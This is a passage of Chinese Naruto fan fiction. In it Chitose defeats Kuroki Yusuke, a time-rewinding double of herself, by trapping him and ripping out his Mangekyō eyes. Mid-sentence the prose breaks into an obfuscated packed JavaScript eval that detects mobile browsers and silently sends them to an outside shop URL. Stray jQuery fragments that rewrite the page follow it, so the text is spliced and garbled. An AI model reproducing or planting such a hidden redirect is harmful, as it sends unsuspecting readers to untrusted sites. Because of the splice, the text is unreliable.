满目疮痍的族地宛若人间炼狱,景象深深烙在千岁眼底,憋得她胸口阵阵发闷。他竟敢在两族众人眼前公然出手偷袭,千岁再不迟疑,当即重新催动查克拉。须佐能乎再度展开,金色的光笼罩住整片宇智波领地。
黑木佑介见此情景,亦同步凝出了完全一致的金色须佐。两道外形分毫不差的巨大骨架隔空对峙。千岁下意识瞥向下方战场,千手柱间与宇智波斑激战至今,二人早已查克拉耗尽,再无力参战。
黑木佑介的须佐左手执长剑,没有半分犹豫,挥剑直劈而来。
“事到如今,还有闲心顾及旁人?”
千岁骤然回神,立刻召出巨盾稳稳挡下这一击。此刻全场能再战之人,唯有她一个,她必须亲手击溃眼前的敌人。
可无论她的须佐如何攻势迭出,对方总能以完全相同的招式从容化解。双方的查克拉储量、攻击范围、起手姿态全然一致,缠斗许久,始终分不出半分胜负。
“炫毘古火!”
千岁抬手结印,剑锋间甩出纯白烈焰。谁知黑木佑介动作与她如出一辙,相同的印术,相同的火焰自剑刃喷涌而出。两股烈焰轰然相撞,刺目火光瞬间将整片战场照得亮如白昼。
长时间维系须佐能乎,早已让千岁不堪重负,鲜血从眼角缓缓滑落。她凝神观察对手,却见对方气息平稳,丝毫不见体力透支的迹象,反倒越战越勇。
难道他能无限制动用查克拉……?
千岁心头一震。
伊邪那岐,竟拥有这般逆天的能力?
不过瞬息的分神,对手的长剑已然破空袭来。为避开这致命一击、避免两具须佐正面硬撼,千岁只得仓促收束术式。巨大虚影消散的刹那,她整个人被冲击波狠狠掀飞。
糟糕……这样直接摔下去坠地,必死无疑。
她急忙想要调整身形,就在此时,盘虬的参天木枝骤然从地面蔓延而出,稳稳托住了她。紧随其后,一层水遁屏障横亘在身前,尽数隔绝了余波冲击。
是查克拉几近枯竭的千手柱间。他单手结印,倾尽最后余力催动木遁救下千岁。而那道水遁屏障,则是千手扉间提前布下的防护。
木枝缓缓将千岁平安送至地面。
“都什么时候了,还在发呆。”
一旁传来扉间虚弱的声音,将千岁纷乱的思绪拉回战场。
“你可有应对之策……?”
他捂着负伤之处,气息微弱,目光紧紧落在她身上:
“他的招式与你别无二致,你应该最清楚……自身的弱点所在。”
千岁心中早已有盘算。
对方依仗万花筒写轮眼的回溯能力,想要取胜,唯有先将其彻底束缚,令他无法行动,再强行夺取那双眼睛。可难题摆在眼前,须佐能乎攻防一体、无懈可击,要将内里的人从术式中剥离出来,并非容易之事。
“你的弱点,他也必定熟知,可这反而可以成为肘制他的方法……”方才一直静观战局的扉间即便没办法插手迎战,也并未停歇,全程紧盯二人的攻防路数。
扉间低沉而又笃定的嗓音在千岁耳畔响起。
“千岁,答案,只有你自己能找到。”
千岁瞳孔微缩。
只有……我自己才知晓的答案。
她下意识看向身旁重伤缠身、却依旧傲骨不倒的扉间,那双赤红的眼眸中,藏着固执,又流露出一瞬的担心。
这是千岁从未在扉间眼神里所见到的情绪。
只有我才能找到的答案……
只有我能够战胜他。
千岁抬手拭去眼角因术式透支留下的血痕,视野再度清明。
只是,不知为何,她感觉自己的视力,随着这段时间须佐能乎不断透支,变得越来越模糊。
少女微微眯眼,终于看清楚战场上那个和她有着一样须佐的金发少女。
沉稳而果决的少女音,在狼藉的战场上响起:
“柱间大人,能否……助我一臂之力。”
另一边,黑木佑介眼见千岁彻底放弃催动须佐能乎,方才千手柱间出手护住她的画面,一遍遍在脑海中反复回荡。
他双目赤红,眼底翻涌着极致的疯狂,死死瞪向远处的少女,嗓音破碎嘶哑:
“为什么要救她……”
“为什么……!”
一切都不该是这样。
宇智波与千手,本该世世代代相互憎恶、彼此厮杀,一同葬送在他精心筹谋的这场战火之中。
恍惚间,一段尘封的记忆骤然翻涌,一个稚嫩的女孩身影在他脑海一闪而过。
「哥哥,我在山脚下看到了一棵桃子树,你要吃桃子吗?」
过往执念彻底击溃理智,黑木佑介彻底陷入疯魔,毫无保留调动体内全部查克拉,催动通体金色的须佐能乎,将周身所有查克拉尽数汇聚于须佐握持的巨型长刀之上,刀刃裹挟毁天灭地的威压,朝着地面的千岁狠狠劈落,嘶吼响彻天地:
“去死!!!!”
滔天金色查克拉威压席卷而来,千岁敛尽周身查克拉,沉声低喝:“散开!”
方才围聚在周边避险的千手族人,连同千岁本人,身形瞬息四散撤离。
千岁刻意留存体内仅剩的查克拉,辗转腾挪不断闪避,黑木佑介操控须佐发起的攻势连绵不绝,刀风、拳风不断砸落地面,炸起漫天土石。
她狼狈奔走在堆满残尸断臂、血迹浸透泥土的废墟之中,步履踉跄,拼尽全力逃窜,可身后须佐的绝杀攻击接踵而至,避无可避。须佐利刃径直刺穿她的胸膛,剧痛席卷全身,意识顷刻消散,她再度死于死亡回溯之中。
下一瞬,世间万物尽数倒流,光影倒退、风声逆转,千岁依托无数次轮回积攒的记忆,精准预判须佐攻击轨迹,一次次侧身闪躲。
骨缝割裂、脏腑剧痛的痛感刻入骨髓。
好疼……
每一寸皮肉都在哀嚎。
黑木佑介的攻势从未停歇,她便在无尽轮回里往复,一次次惨死,一次次被死亡回溯重置重生。
仓皇躲闪间,一具横亘在路面的战死尸体猝不及防映入眼帘,千岁心神微滞,脚下步伐一绊,直直重重摔倒在残破的泥土之上。
就在这瞬息之间,黑木佑介的巨型须佐已然笼罩她头顶,没有丝毫迟疑,暴戾的吼声再度落下:
“去死!!!!”
须佐粗壮的巨足轰然踏下,金光吞没少女身形,千岁彻底消散在金色须佐之下。
死亡回溯再度启动,时间回溯至数秒之前,刚好是她被尸体绊倒的刹那。依照过往轮回的记忆,她本可以顺势借力翻身躲开这致命踩踏,可这一次,千岁一动不动,维持着摔倒瘫倒的姿态,静静停在原地。
黑木佑介操控须佐的动作骤然顿住,眼底闪过一丝错愕,低声自语:
“已经没有力气动弹了吗?”
他缓缓收回即将踏落的须佐巨足。
拥有相同死亡回溯能力的他也深知,想要彻底抹杀拥有轮回之力的千岁,绝不能直接击杀,唯有先禁锢其身,剥离她的万花筒写轮眼,再施以绝杀,才能彻底断绝她回溯重生的可能。
而此刻全开的须佐一旦出手,会直接碾碎她的眼球,根本无法完好夺取
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643944|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
写轮眼。
心念既定,黑木佑介施展瞬身术,径直脱离须佐躯体,稳稳落地,站在瘫倒在地的千岁身前。
他垂眸俯视脚下耗尽气力的少女,语气淡漠又残忍:
“不用谢我,马上你将再也不用承受这份轮回之苦。”
他抬手,指尖直奔千岁的万花筒瞳孔而去,眼看指尖即将触碰到眼眸的刹那,
“木遁·明神门!”
厚重朱红色木遁扦插自地底破土而出,速度快至留下残影,尽数贯穿黑木佑介四肢躯干,精准锁死他的手脚经脉,木刺刻意避开心脉、要害等致命位置,只为禁锢,不取性命。
黑木佑介瞳孔骤缩,瞬间洞悉这术式用意,立刻调动血脉查克拉,想要自尽触发死亡回溯,挣脱明神门禁锢。
可他刚凝聚一丝查克拉,便察觉浑身查克拉彻底凝滞,彻底封禁。低头望去,不知何时,数根泛着冷光的查克拉牵制绳紧紧缠缚他四肢脚踝,是千手扉间专属封印禁术。
“可恶……”不甘的低吼卡在喉间。
方才瘫软在地的千岁,瞬间起身。
少女双手伸去,直直的禁锢住了他的眼眶。
“啊啊啊啊啊!!!”
下一秒,撕心裂肺的嘶吼从黑木佑介喉间炸裂,响彻整片战场,温热鲜血顺着朱红木刺纹路流淌,染红整片明神门。
千岁站在他身前,肩头微微起伏,大口喘着粗气,掌心攥着的是温热、沾满鲜血的万花筒写轮眼。
显然,刚刚一脚被须佐踩死的记忆还留在自己的脑海里挥之不去,即便她成功剥离夺走了黑木佑介的死亡轮回之眼,那份恐惧以及痛苦依旧久久不散。
她没有时间再犹豫了。
下一瞬,纯净的白色火炎骤然在她掌心燃起,星火转瞬吞噬掌心眼球,不过瞬息,那双掌控死亡回溯的写轮眼化为一地飞灰。
眼前的黑木佑介双目空洞,眼窝溢血,彻底失去双眼,再也无法依托万花筒,开启死亡回溯改写生死。
就这样了结了他吗……
说没有犹豫,是假的。
眼前之人,生着一张与自己别无二致的脸庞,此刻万花筒写轮眼被生生剥离,眼窝空空如也,鲜血不断涌出,凄厉破碎的嘶吼一遍遍席卷整片废墟,那嗓音,和她全然相同。
“去死!”
“千手为什么要帮宇智波!”
“你们战斗啊!厮杀啊!他不是杀了你的弟弟吗?去把他杀了啊!”
癫狂嘶吼此起彼伏,回荡在满目疮痍的战场之上。
千岁指尖凝起凛冽雷光,本打算催动最后一记千鸟,彻底了结他的性命,可指尖雷光骤然凝滞,脚步牢牢顿在原地,动弹不得。
“小花……对不起……”
他在哭。
即便双目尽失、空洞无神,滚烫血泪混着泪水滑落,一滴滴砸在朱红色的明神门木刺上,晕开深浅不一的血色痕迹。
或许是直面这张复刻自己的面容,看着对方痛哭绝望的模样,或许是从他歇斯底里的嘶吼里,听见了曾经困于仇恨、无力挣扎的自己。千岁心神震颤,彻底僵在原地,心底翻涌起难以言说的酸涩与茫然。
就在此刻,千手柱间耗尽体内仅剩的查克拉,施展瞬身术瞬息而至,径直落在黑木佑介身前。他垂眸凝视被明神门牢牢禁锢的男人,漆黑深邃的眼眸里翻涌着复杂情绪,是千岁读不透的沉敛。
“黑木……一族。”
柱间嗓音低沉厚重,裹挟着战场风尘缓缓响起,
“是那个拥有专属情报收集血继限界,世代隐居深山的一族吗……”